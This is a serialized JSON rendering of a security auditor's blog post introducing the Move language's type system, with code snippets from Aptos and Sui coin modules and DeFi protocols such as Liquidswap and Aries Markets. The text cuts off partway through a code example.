[{"data":1,"prerenderedAt":166002},["ShallowReactive",2],{"blog-/blog/2022-09-06-move-introduction":3,"featured-blog-posts":3648},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":11,"date":15,"isFeatured":16,"onBlogPage":16,"body":17,"_type":3642,"_id":3643,"_source":3644,"_file":3645,"_stem":3646,"_extension":3647},"/blog/2022-09-06-move-introduction","blog",false,"","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":12,"height":13,"width":14},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",true,{"type":18,"children":19,"toc":3637},"root",[20,28,33,53,60,74,192,200,321,329,353,508,513,778,800,835,840,862,867,879,891,1107,1119,1133,1146,1408,1420,1643,1648,1676,1822,1841,1846,2115,2127,2132,2145,2151,2156,2161,2173,2187,2192,2294,2306,2319,2595,2600,2612,2617,2672,2692,2697,3602,3608,3613,3618,3631],{"type":21,"tag":22,"props":23,"children":24},"element","p",{},[25],{"type":26,"value":27},"text","As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":21,"tag":22,"props":29,"children":30},{},[31],{"type":26,"value":32},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":21,"tag":22,"props":34,"children":35},{},[36,38,44,46,51],{"type":26,"value":37},"In this piece I'll seek to discuss exactly ",{"type":21,"tag":39,"props":40,"children":41},"em",{},[42],{"type":26,"value":43},"how",{"type":26,"value":45}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":21,"tag":39,"props":47,"children":48},{},[49],{"type":26,"value":50},"structurally",{"type":26,"value":52}," safer programs.",{"type":21,"tag":54,"props":55,"children":57},"h2",{"id":56},"types",[58],{"type":26,"value":59},"Types",{"type":21,"tag":22,"props":61,"children":62},{},[63,65,72],{"type":26,"value":64},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":21,"tag":66,"props":67,"children":69},"code",{"className":68},[],[70],{"type":26,"value":71},"coin.move",{"type":26,"value":73},".",{"type":21,"tag":75,"props":76,"children":80},"pre",{"className":77,"code":78,"language":79,"meta":7,"style":7},"language-rust shiki shiki-themes slack-dark","  /// Main structure representing a coin/token in an account's custody.\n  struct Coin\u003Cphantom CoinType> has store {\n      /// Amount of coin this address has.\n      value: u64,\n  }\n","rust",[81],{"type":21,"tag":66,"props":82,"children":83},{"__ignoreMap":7},[84,96,149,158,183],{"type":21,"tag":85,"props":86,"children":89},"span",{"class":87,"line":88},"line",1,[90],{"type":21,"tag":85,"props":91,"children":93},{"style":92},"--shiki-default:#6A9955",[94],{"type":26,"value":95},"  /// Main structure representing a coin/token in an account's custody.\n",{"type":21,"tag":85,"props":97,"children":99},{"class":87,"line":98},2,[100,106,112,118,124,129,134,139,144],{"type":21,"tag":85,"props":101,"children":103},{"style":102},"--shiki-default:#569CD6",[104],{"type":26,"value":105},"  struct",{"type":21,"tag":85,"props":107,"children":109},{"style":108},"--shiki-default:#4EC9B0",[110],{"type":26,"value":111}," Coin",{"type":21,"tag":85,"props":113,"children":115},{"style":114},"--shiki-default:#E6E6E6",[116],{"type":26,"value":117},"\u003C",{"type":21,"tag":85,"props":119,"children":121},{"style":120},"--shiki-default:#9CDCFE",[122],{"type":26,"value":123},"phantom",{"type":21,"tag":85,"props":125,"children":126},{"style":108},[127],{"type":26,"value":128}," CoinType",{"type":21,"tag":85,"props":130,"children":131},{"style":114},[132],{"type":26,"value":133},"> ",{"type":21,"tag":85,"props":135,"children":136},{"style":120},[137],{"type":26,"value":138},"has",{"type":21,"tag":85,"props":140,"children":141},{"style":120},[142],{"type":26,"value":143}," store",{"type":21,"tag":85,"props":145,"children":146},{"style":114},[147],{"type":26,"value":148}," {\n",{"type":21,"tag":85,"props":150,"children":152},{"class":87,"line":151},3,[153],{"type":21,"tag":85,"props":154,"children":155},{"style":92},[156],{"type":26,"value":157},"      /// Amount of coin this address has.\n",{"type":21,"tag":85,"props":159,"children":161},{"class":87,"line":160},4,[162,167,173,178],{"type":21,"tag":85,"props":163,"children":164},{"style":120},[165],{"type":26,"value":166},"      value",{"type":21,"tag":85,"props":168,"children":170},{"style":169},"--shiki-default:#D4D4D4",[171],{"type":26,"value":172},":",{"type":21,"tag":85,"props":174,"children":175},{"style":108},[176],{"type":26,"value":177}," u64",{"type":21,"tag":85,"props":179,"children":180},{"style":114},[181],{"type":26,"value":182},",\n",{"type":21,"tag":85,"props":184,"children":186},{"class":87,"line":185},5,[187],{"type":21,"tag":85,"props":188,"children":189},{"style":114},[190],{"type":26,"value":191},"  }\n",{"type":21,"tag":22,"props":193,"children":194},{},[195],{"type":21,"tag":39,"props":196,"children":197},{},[198],{"type":26,"value":199},"aptos",{"type":21,"tag":75,"props":201,"children":203},{"className":77,"code":202,"language":79,"meta":7,"style":7},"  /// A coin of type `T` worth `value`. Transferable and storable\n  struct Coin\u003Cphantom T> has key, store {\n      id: UID,\n      balance: Balance\u003CT>\n  }\n",[204],{"type":21,"tag":66,"props":205,"children":206},{"__ignoreMap":7},[207,215,266,283,314],{"type":21,"tag":85,"props":208,"children":209},{"class":87,"line":88},[210],{"type":21,"tag":85,"props":211,"children":212},{"style":92},[213],{"type":26,"value":214},"  /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":21,"tag":85,"props":216,"children":217},{"class":87,"line":98},[218,222,226,230,234,239,243,247,252,257,262],{"type":21,"tag":85,"props":219,"children":220},{"style":102},[221],{"type":26,"value":105},{"type":21,"tag":85,"props":223,"children":224},{"style":108},[225],{"type":26,"value":111},{"type":21,"tag":85,"props":227,"children":228},{"style":114},[229],{"type":26,"value":117},{"type":21,"tag":85,"props":231,"children":232},{"style":120},[233],{"type":26,"value":123},{"type":21,"tag":85,"props":235,"children":236},{"style":108},[237],{"type":26,"value":238}," T",{"type":21,"tag":85,"props":240,"children":241},{"style":114},[242],{"type":26,"value":133},{"type":21,"tag":85,"props":244,"children":245},{"style":120},[246],{"type":26,"value":138},{"type":21,"tag":85,"props":248,"children":249},{"style":120},[250],{"type":26,"value":251}," key",{"type":21,"tag":85,"props":253,"children":254},{"style":114},[255],{"type":26,"value":256},", ",{"type":21,"tag":85,"props":258,"children":259},{"style":120},[260],{"type":26,"value":261},"store",{"type":21,"tag":85,"props":263,"children":264},{"style":114},[265],{"type":26,"value":148},{"type":21,"tag":85,"props":267,"children":268},{"class":87,"line":151},[269,274,278],{"type":21,"tag":85,"props":270,"children":271},{"style":120},[272],{"type":26,"value":273},"      id",{"type":21,"tag":85,"props":275,"children":276},{"style":169},[277],{"type":26,"value":172},{"type":21,"tag":85,"props":279,"children":280},{"style":114},[281],{"type":26,"value":282}," UID,\n",{"type":21,"tag":85,"props":284,"children":285},{"class":87,"line":160},[286,291,295,300,304,309],{"type":21,"tag":85,"props":287,"children":288},{"style":120},[289],{"type":26,"value":290},"      balance",{"type":21,"tag":85,"props":292,"children":293},{"style":169},[294],{"type":26,"value":172},{"type":21,"tag":85,"props":296,"children":297},{"style":108},[298],{"type":26,"value":299}," Balance",{"type":21,"tag":85,"props":301,"children":302},{"style":114},[303],{"type":26,"value":117},{"type":21,"tag":85,"props":305,"children":306},{"style":108},[307],{"type":26,"value":308},"T",{"type":21,"tag":85,"props":310,"children":311},{"style":114},[312],{"type":26,"value":313},">\n",{"type":21,"tag":85,"props":315,"children":316},{"class":87,"line":185},[317],{"type":21,"tag":85,"props":318,"children":319},{"style":114},[320],{"type":26,"value":191},{"type":21,"tag":22,"props":322,"children":323},{},[324],{"type":21,"tag":39,"props":325,"children":326},{},[327],{"type":26,"value":328},"sui",{"type":21,"tag":22,"props":330,"children":331},{},[332,334,343,345,351],{"type":26,"value":333},"Pulling an example from ",{"type":21,"tag":335,"props":336,"children":340},"a",{"href":337,"rel":338},"https://pontem.network/",[339],"nofollow",[341],{"type":26,"value":342},"Pontem Network's",{"type":26,"value":344}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":21,"tag":66,"props":346,"children":348},{"className":347},[],[349],{"type":26,"value":350},"LiquidityPool",{"type":26,"value":352}," natively embeds this type information into it's fields.",{"type":21,"tag":75,"props":354,"children":356},{"className":77,"code":355,"language":79,"meta":7,"style":7},"    /// Liquidity pool with reserves.\n    struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n        coin_x_reserve: Coin\u003CX>,\n        coin_y_reserve: Coin\u003CY>,\n        // ...\n    }\n",[357],{"type":21,"tag":66,"props":358,"children":359},{"__ignoreMap":7},[360,368,432,462,491,499],{"type":21,"tag":85,"props":361,"children":362},{"class":87,"line":88},[363],{"type":21,"tag":85,"props":364,"children":365},{"style":92},[366],{"type":26,"value":367},"    /// Liquidity pool with reserves.\n",{"type":21,"tag":85,"props":369,"children":370},{"class":87,"line":98},[371,376,381,385,389,394,398,402,407,411,415,420,424,428],{"type":21,"tag":85,"props":372,"children":373},{"style":102},[374],{"type":26,"value":375},"    struct",{"type":21,"tag":85,"props":377,"children":378},{"style":108},[379],{"type":26,"value":380}," LiquidityPool",{"type":21,"tag":85,"props":382,"children":383},{"style":114},[384],{"type":26,"value":117},{"type":21,"tag":85,"props":386,"children":387},{"style":120},[388],{"type":26,"value":123},{"type":21,"tag":85,"props":390,"children":391},{"style":108},[392],{"type":26,"value":393}," X",{"type":21,"tag":85,"props":395,"children":396},{"style":114},[397],{"type":26,"value":256},{"type":21,"tag":85,"props":399,"children":400},{"style":120},[401],{"type":26,"value":123},{"type":21,"tag":85,"props":403,"children":404},{"style":108},[405],{"type":26,"value":406}," Y",{"type":21,"tag":85,"props":408,"children":409},{"style":114},[410],{"type":26,"value":256},{"type":21,"tag":85,"props":412,"children":413},{"style":120},[414],{"type":26,"value":123},{"type":21,"tag":85,"props":416,"children":417},{"style":114},[418],{"type":26,"value":419}," LP> ",{"type":21,"tag":85,"props":421,"children":422},{"style":120},[423],{"type":26,"value":138},{"type":21,"tag":85,"props":425,"children":426},{"style":120},[427],{"type":26,"value":251},{"type":21,"tag":85,"props":429,"children":430},{"style":114},[431],{"type":26,"value":148},{"type":21,"tag":85,"props":433,"children":434},{"class":87,"line":151},[435,440,444,448,452,457],{"type":21,"tag":85,"props":436,"children":437},{"style":120},[438],{"type":26,"value":439},"        coin_x_reserve",{"type":21,"tag":85,"props":441,"children":442},{"style":169},[443],{"type":26,"value":172},{"type":21,"tag":85,"props":445,"children":446},{"style":108},[447],{"type":26,"value":111},{"type":21,"tag":85,"props":449,"children":450},{"style":114},[451],{"type":26,"value":117},{"type":21,"tag":85,"props":453,"children":454},{"style":108},[455],{"type":26,"value":456},"X",{"type":21,"tag":85,"props":458,"children":459},{"style":114},[460],{"type":26,"value":461},">,\n",{"type":21,"tag":85,"props":463,"children":464},{"class":87,"line":160},[465,470,474,478,482,487],{"type":21,"tag":85,"props":466,"children":467},{"style":120},[468],{"type":26,"value":469},"        coin_y_reserve",{"type":21,"tag":85,"props":471,"children":472},{"style":169},[473],{"type":26,"value":172},{"type":21,"tag":85,"props":475,"children":476},{"style":108},[477],{"type":26,"value":111},{"type":21,"tag":85,"props":479,"children":480},{"style":114},[481],{"type":26,"value":117},{"type":21,"tag":85,"props":483,"children":484},{"style":108},[485],{"type":26,"value":486},"Y",{"type":21,"tag":85,"props":488,"children":489},{"style":114},[490],{"type":26,"value":461},{"type":21,"tag":85,"props":492,"children":493},{"class":87,"line":185},[494],{"type":21,"tag":85,"props":495,"children":496},{"style":92},[497],{"type":26,"value":498},"        // ...\n",{"type":21,"tag":85,"props":500,"children":502},{"class":87,"line":501},6,[503],{"type":21,"tag":85,"props":504,"children":505},{"style":114},[506],{"type":26,"value":507},"    }\n",{"type":21,"tag":22,"props":509,"children":510},{},[511],{"type":26,"value":512},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":21,"tag":75,"props":514,"children":516},{"className":77,"code":515,"language":79,"meta":7,"style":7},"      public fun mint\u003CX, Y, LP>(\n          pool_addr: address,\n          coin_x: Coin\u003CX>,\n          coin_y: Coin\u003CY>\n      ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n          // ...\n\n          let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[517],{"type":21,"tag":66,"props":518,"children":519},{"__ignoreMap":7},[520,559,580,608,636,687,695,704],{"type":21,"tag":85,"props":521,"children":522},{"class":87,"line":88},[523,528,533,538,542,546,550,554],{"type":21,"tag":85,"props":524,"children":525},{"style":120},[526],{"type":26,"value":527},"      public",{"type":21,"tag":85,"props":529,"children":530},{"style":120},[531],{"type":26,"value":532}," fun",{"type":21,"tag":85,"props":534,"children":535},{"style":120},[536],{"type":26,"value":537}," mint",{"type":21,"tag":85,"props":539,"children":540},{"style":114},[541],{"type":26,"value":117},{"type":21,"tag":85,"props":543,"children":544},{"style":108},[545],{"type":26,"value":456},{"type":21,"tag":85,"props":547,"children":548},{"style":114},[549],{"type":26,"value":256},{"type":21,"tag":85,"props":551,"children":552},{"style":108},[553],{"type":26,"value":486},{"type":21,"tag":85,"props":555,"children":556},{"style":114},[557],{"type":26,"value":558},", LP>(\n",{"type":21,"tag":85,"props":560,"children":561},{"class":87,"line":98},[562,567,571,576],{"type":21,"tag":85,"props":563,"children":564},{"style":120},[565],{"type":26,"value":566},"          pool_addr",{"type":21,"tag":85,"props":568,"children":569},{"style":169},[570],{"type":26,"value":172},{"type":21,"tag":85,"props":572,"children":573},{"style":120},[574],{"type":26,"value":575}," address",{"type":21,"tag":85,"props":577,"children":578},{"style":114},[579],{"type":26,"value":182},{"type":21,"tag":85,"props":581,"children":582},{"class":87,"line":151},[583,588,592,596,600,604],{"type":21,"tag":85,"props":584,"children":585},{"style":120},[586],{"type":26,"value":587},"          coin_x",{"type":21,"tag":85,"props":589,"children":590},{"style":169},[591],{"type":26,"value":172},{"type":21,"tag":85,"props":593,"children":594},{"style":108},[595],{"type":26,"value":111},{"type":21,"tag":85,"props":597,"children":598},{"style":114},[599],{"type":26,"value":117},{"type":21,"tag":85,"props":601,"children":602},{"style":108},[603],{"type":26,"value":456},{"type":21,"tag":85,"props":605,"children":606},{"style":114},[607],{"type":26,"value":461},{"type":21,"tag":85,"props":609,"children":610},{"class":87,"line":160},[611,616,620,624,628,632],{"type":21,"tag":85,"props":612,"children":613},{"style":120},[614],{"type":26,"value":615},"          coin_y",{"type":21,"tag":85,"props":617,"children":618},{"style":169},[619],{"type":26,"value":172},{"type":21,"tag":85,"props":621,"children":622},{"style":108},[623],{"type":26,"value":111},{"type":21,"tag":85,"props":625,"children":626},{"style":114},[627],{"type":26,"value":117},{"type":21,"tag":85,"props":629,"children":630},{"style":108},[631],{"type":26,"value":486},{"type":21,"tag":85,"props":633,"children":634},{"style":114},[635],{"type":26,"value":313},{"type":21,"tag":85,"props":637,"children":638},{"class":87,"line":185},[639,644,648,652,656,661,665,670,674,678,683],{"type":21,"tag":85,"props":640,"children":641},{"style":114},[642],{"type":26,"value":643},"      )",{"type":21,"tag":85,"props":645,"children":646},{"style":169},[647],{"type":26,"value":172},{"type":21,"tag":85,"props":649,"children":650},{"style":108},[651],{"type":26,"value":111},{"type":21,"tag":85,"props":653,"children":654},{"style":114},[655],{"type":26,"value":117},{"type":21,"tag":85,"props":657,"children":658},{"style":108},[659],{"type":26,"value":660},"LP",{"type":21,"tag":85,"props":662,"children":663},{"style":114},[664],{"type":26,"value":133},{"type":21,"tag":85,"props":666,"children":667},{"style":120},[668],{"type":26,"value":669},"acquires",{"type":21,"tag":85,"props":671,"children":672},{"style":108},[673],{"type":26,"value":380},{"type":21,"tag":85,"props":675,"children":676},{"style":114},[677],{"type":26,"value":256},{"type":21,"tag":85,"props":679,"children":680},{"style":108},[681],{"type":26,"value":682},"EventsStore",{"type":21,"tag":85,"props":684,"children":685},{"style":114},[686],{"type":26,"value":148},{"type":21,"tag":85,"props":688,"children":689},{"class":87,"line":501},[690],{"type":21,"tag":85,"props":691,"children":692},{"style":92},[693],{"type":26,"value":694},"          // ...\n",{"type":21,"tag":85,"props":696,"children":698},{"class":87,"line":697},7,[699],{"type":21,"tag":85,"props":700,"children":701},{"emptyLinePlaceholder":16},[702],{"type":26,"value":703},"\n",{"type":21,"tag":85,"props":705,"children":707},{"class":87,"line":706},8,[708,713,718,723,727,732,737,742,747,751,755,759,763,768,773],{"type":21,"tag":85,"props":709,"children":710},{"style":102},[711],{"type":26,"value":712},"          let",{"type":21,"tag":85,"props":714,"children":715},{"style":114},[716],{"type":26,"value":717}," (",{"type":21,"tag":85,"props":719,"children":720},{"style":120},[721],{"type":26,"value":722},"x_reserve_size",{"type":21,"tag":85,"props":724,"children":725},{"style":114},[726],{"type":26,"value":256},{"type":21,"tag":85,"props":728,"children":729},{"style":120},[730],{"type":26,"value":731},"y_reserve_size",{"type":21,"tag":85,"props":733,"children":734},{"style":114},[735],{"type":26,"value":736},") ",{"type":21,"tag":85,"props":738,"children":739},{"style":169},[740],{"type":26,"value":741},"=",{"type":21,"tag":85,"props":743,"children":744},{"style":120},[745],{"type":26,"value":746}," get_reserves_size",{"type":21,"tag":85,"props":748,"children":749},{"style":114},[750],{"type":26,"value":117},{"type":21,"tag":85,"props":752,"children":753},{"style":108},[754],{"type":26,"value":456},{"type":21,"tag":85,"props":756,"children":757},{"style":114},[758],{"type":26,"value":256},{"type":21,"tag":85,"props":760,"children":761},{"style":108},[762],{"type":26,"value":486},{"type":21,"tag":85,"props":764,"children":765},{"style":114},[766],{"type":26,"value":767},", LP>(",{"type":21,"tag":85,"props":769,"children":770},{"style":120},[771],{"type":26,"value":772},"pool_addr",{"type":21,"tag":85,"props":774,"children":775},{"style":114},[776],{"type":26,"value":777},");\n",{"type":21,"tag":22,"props":779,"children":780},{},[781,783,789,791,798],{"type":26,"value":782},"As an aside, this generic type information is implemented at runtime in the ",{"type":21,"tag":66,"props":784,"children":786},{"className":785},[],[787],{"type":26,"value":788},"ty_args",{"type":26,"value":790}," ",{"type":21,"tag":335,"props":792,"children":795},{"href":793,"rel":794},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[339],[796],{"type":26,"value":797},"at the vm level",{"type":26,"value":799},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":21,"tag":22,"props":801,"children":802},{},[803,805,811,813,819,821,827,828,834],{"type":26,"value":804},"In pseucode, this checks that ",{"type":21,"tag":66,"props":806,"children":808},{"className":807},[],[809],{"type":26,"value":810},"coin_x.type",{"type":26,"value":812}," is equal to ",{"type":21,"tag":66,"props":814,"children":816},{"className":815},[],[817],{"type":26,"value":818},"pool.x_type",{"type":26,"value":820},", and ",{"type":21,"tag":66,"props":822,"children":824},{"className":823},[],[825],{"type":26,"value":826},"coin_y.type",{"type":26,"value":812},{"type":21,"tag":66,"props":829,"children":831},{"className":830},[],[832],{"type":26,"value":833},"pool.y_type",{"type":26,"value":73},{"type":21,"tag":22,"props":836,"children":837},{},[838],{"type":26,"value":839},"This type system has two advantages",{"type":21,"tag":841,"props":842,"children":843},"ol",{},[844,857],{"type":21,"tag":845,"props":846,"children":847},"li",{},[848,850,855],{"type":26,"value":849},"It's required. The type parameter ",{"type":21,"tag":39,"props":851,"children":852},{},[853],{"type":26,"value":854},"must",{"type":26,"value":856}," be specified so it's impossible to forget such a constraint",{"type":21,"tag":845,"props":858,"children":859},{},[860],{"type":26,"value":861},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":21,"tag":22,"props":863,"children":864},{},[865],{"type":26,"value":866},"However, this system isn't perfect.",{"type":21,"tag":22,"props":868,"children":869},{},[870,872,878],{"type":26,"value":871},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":21,"tag":873,"props":874,"children":875},"strong",{},[876],{"type":26,"value":877},"an anti-pattern",{"type":26,"value":73},{"type":21,"tag":22,"props":880,"children":881},{},[882,884,890],{"type":26,"value":883},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":21,"tag":66,"props":885,"children":887},{"className":886},[],[888],{"type":26,"value":889},"CoinInfo\u003CCoinType>",{"type":26,"value":73},{"type":21,"tag":75,"props":892,"children":894},{"className":77,"code":893,"language":79,"meta":7,"style":7},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[895],{"type":21,"tag":66,"props":896,"children":897},{"__ignoreMap":7},[898,925,933,1002,1009,1016,1030,1075,1098],{"type":21,"tag":85,"props":899,"children":900},{"class":87,"line":88},[901,906,911,915,920],{"type":21,"tag":85,"props":902,"children":903},{"style":120},[904],{"type":26,"value":905},"  fun",{"type":21,"tag":85,"props":907,"children":908},{"style":120},[909],{"type":26,"value":910}," initialize_internal",{"type":21,"tag":85,"props":912,"children":913},{"style":114},[914],{"type":26,"value":117},{"type":21,"tag":85,"props":916,"children":917},{"style":108},[918],{"type":26,"value":919},"CoinType",{"type":21,"tag":85,"props":921,"children":922},{"style":114},[923],{"type":26,"value":924},">(\n",{"type":21,"tag":85,"props":926,"children":927},{"class":87,"line":98},[928],{"type":21,"tag":85,"props":929,"children":930},{"style":92},[931],{"type":26,"value":932},"      // ...\n",{"type":21,"tag":85,"props":934,"children":935},{"class":87,"line":151},[936,941,945,949,954,958,962,967,972,976,980,984,989,993,997],{"type":21,"tag":85,"props":937,"children":938},{"style":114},[939],{"type":26,"value":940},"  )",{"type":21,"tag":85,"props":942,"children":943},{"style":169},[944],{"type":26,"value":172},{"type":21,"tag":85,"props":946,"children":947},{"style":114},[948],{"type":26,"value":717},{"type":21,"tag":85,"props":950,"children":951},{"style":108},[952],{"type":26,"value":953},"BurnCapability",{"type":21,"tag":85,"props":955,"children":956},{"style":114},[957],{"type":26,"value":117},{"type":21,"tag":85,"props":959,"children":960},{"style":108},[961],{"type":26,"value":919},{"type":21,"tag":85,"props":963,"children":964},{"style":114},[965],{"type":26,"value":966},">, ",{"type":21,"tag":85,"props":968,"children":969},{"style":108},[970],{"type":26,"value":971},"FreezeCapability",{"type":21,"tag":85,"props":973,"children":974},{"style":114},[975],{"type":26,"value":117},{"type":21,"tag":85,"props":977,"children":978},{"style":108},[979],{"type":26,"value":919},{"type":21,"tag":85,"props":981,"children":982},{"style":114},[983],{"type":26,"value":966},{"type":21,"tag":85,"props":985,"children":986},{"style":108},[987],{"type":26,"value":988},"MintCapability",{"type":21,"tag":85,"props":990,"children":991},{"style":114},[992],{"type":26,"value":117},{"type":21,"tag":85,"props":994,"children":995},{"style":108},[996],{"type":26,"value":919},{"type":21,"tag":85,"props":998,"children":999},{"style":114},[1000],{"type":26,"value":1001},">) {\n",{"type":21,"tag":85,"props":1003,"children":1004},{"class":87,"line":160},[1005],{"type":21,"tag":85,"props":1006,"children":1007},{"style":92},[1008],{"type":26,"value":932},{"type":21,"tag":85,"props":1010,"children":1011},{"class":87,"line":185},[1012],{"type":21,"tag":85,"props":1013,"children":1014},{"emptyLinePlaceholder":16},[1015],{"type":26,"value":703},{"type":21,"tag":85,"props":1017,"children":1018},{"class":87,"line":501},[1019,1025],{"type":21,"tag":85,"props":1020,"children":1022},{"style":1021},"--shiki-default:#DCDCAA",[1023],{"type":26,"value":1024},"      assert!",{"type":21,"tag":85,"props":1026,"children":1027},{"style":114},[1028],{"type":26,"value":1029},"(\n",{"type":21,"tag":85,"props":1031,"children":1032},{"class":87,"line":697},[1033,1038,1043,1047,1052,1056,1060,1065,1070],{"type":21,"tag":85,"props":1034,"children":1035},{"style":169},[1036],{"type":26,"value":1037},"          !",{"type":21,"tag":85,"props":1039,"children":1040},{"style":120},[1041],{"type":26,"value":1042},"exists",{"type":21,"tag":85,"props":1044,"children":1045},{"style":114},[1046],{"type":26,"value":117},{"type":21,"tag":85,"props":1048,"children":1049},{"style":108},[1050],{"type":26,"value":1051},"CoinInfo",{"type":21,"tag":85,"props":1053,"children":1054},{"style":114},[1055],{"type":26,"value":117},{"type":21,"tag":85,"props":1057,"children":1058},{"style":108},[1059],{"type":26,"value":919},{"type":21,"tag":85,"props":1061,"children":1062},{"style":114},[1063],{"type":26,"value":1064},">>(",{"type":21,"tag":85,"props":1066,"children":1067},{"style":120},[1068],{"type":26,"value":1069},"account_addr",{"type":21,"tag":85,"props":1071,"children":1072},{"style":114},[1073],{"type":26,"value":1074},"),\n",{"type":21,"tag":85,"props":1076,"children":1077},{"class":87,"line":706},[1078,1083,1088,1093],{"type":21,"tag":85,"props":1079,"children":1080},{"style":114},[1081],{"type":26,"value":1082},"          error",{"type":21,"tag":85,"props":1084,"children":1085},{"style":169},[1086],{"type":26,"value":1087},"::",{"type":21,"tag":85,"props":1089,"children":1090},{"style":1021},[1091],{"type":26,"value":1092},"already_exists",{"type":21,"tag":85,"props":1094,"children":1095},{"style":114},[1096],{"type":26,"value":1097},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":21,"tag":85,"props":1099,"children":1101},{"class":87,"line":1100},9,[1102],{"type":21,"tag":85,"props":1103,"children":1104},{"style":114},[1105],{"type":26,"value":1106},"      );\n",{"type":21,"tag":22,"props":1108,"children":1109},{},[1110,1112,1117],{"type":26,"value":1111},"While this ",{"type":21,"tag":66,"props":1113,"children":1115},{"className":1114},[],[1116],{"type":26,"value":1051},{"type":26,"value":1118}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":21,"tag":22,"props":1120,"children":1121},{},[1122,1124,1131],{"type":26,"value":1123},"Similarly, consider ",{"type":21,"tag":335,"props":1125,"children":1128},{"href":1126,"rel":1127},"https://ariesmarkets.xyz/",[339],[1129],{"type":26,"value":1130},"Aries Markets",{"type":26,"value":1132},", a lending/borrowing protocol building on Aptos.",{"type":21,"tag":22,"props":1134,"children":1135},{},[1136,1138,1144],{"type":26,"value":1137},"Their ",{"type":21,"tag":66,"props":1139,"children":1141},{"className":1140},[],[1142],{"type":26,"value":1143},"ReserveCoinContainer",{"type":26,"value":1145}," struct stores all the relevant data and resources for managing a lending market.",{"type":21,"tag":75,"props":1147,"children":1149},{"className":77,"code":1148,"language":79,"meta":7,"style":7},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  }\n\n",[1150],{"type":21,"tag":66,"props":1151,"children":1152},{"__ignoreMap":7},[1153,1161,1169,1210,1218,1247,1255,1292,1300,1337,1346,1384,1392,1400],{"type":21,"tag":85,"props":1154,"children":1155},{"class":87,"line":88},[1156],{"type":21,"tag":85,"props":1157,"children":1158},{"style":92},[1159],{"type":26,"value":1160},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":21,"tag":85,"props":1162,"children":1163},{"class":87,"line":98},[1164],{"type":21,"tag":85,"props":1165,"children":1166},{"style":92},[1167],{"type":26,"value":1168},"  /// Stored as a resources.\n",{"type":21,"tag":85,"props":1170,"children":1171},{"class":87,"line":151},[1172,1176,1181,1185,1189,1194,1198,1202,1206],{"type":21,"tag":85,"props":1173,"children":1174},{"style":102},[1175],{"type":26,"value":105},{"type":21,"tag":85,"props":1177,"children":1178},{"style":108},[1179],{"type":26,"value":1180}," ReserveCoinContainer",{"type":21,"tag":85,"props":1182,"children":1183},{"style":114},[1184],{"type":26,"value":117},{"type":21,"tag":85,"props":1186,"children":1187},{"style":120},[1188],{"type":26,"value":123},{"type":21,"tag":85,"props":1190,"children":1191},{"style":108},[1192],{"type":26,"value":1193}," Coin0",{"type":21,"tag":85,"props":1195,"children":1196},{"style":114},[1197],{"type":26,"value":133},{"type":21,"tag":85,"props":1199,"children":1200},{"style":120},[1201],{"type":26,"value":138},{"type":21,"tag":85,"props":1203,"children":1204},{"style":120},[1205],{"type":26,"value":251},{"type":21,"tag":85,"props":1207,"children":1208},{"style":114},[1209],{"type":26,"value":148},{"type":21,"tag":85,"props":1211,"children":1212},{"class":87,"line":160},[1213],{"type":21,"tag":85,"props":1214,"children":1215},{"style":92},[1216],{"type":26,"value":1217},"      /// Stores the available `Coin`.\n",{"type":21,"tag":85,"props":1219,"children":1220},{"class":87,"line":185},[1221,1226,1230,1234,1238,1243],{"type":21,"tag":85,"props":1222,"children":1223},{"style":120},[1224],{"type":26,"value":1225},"      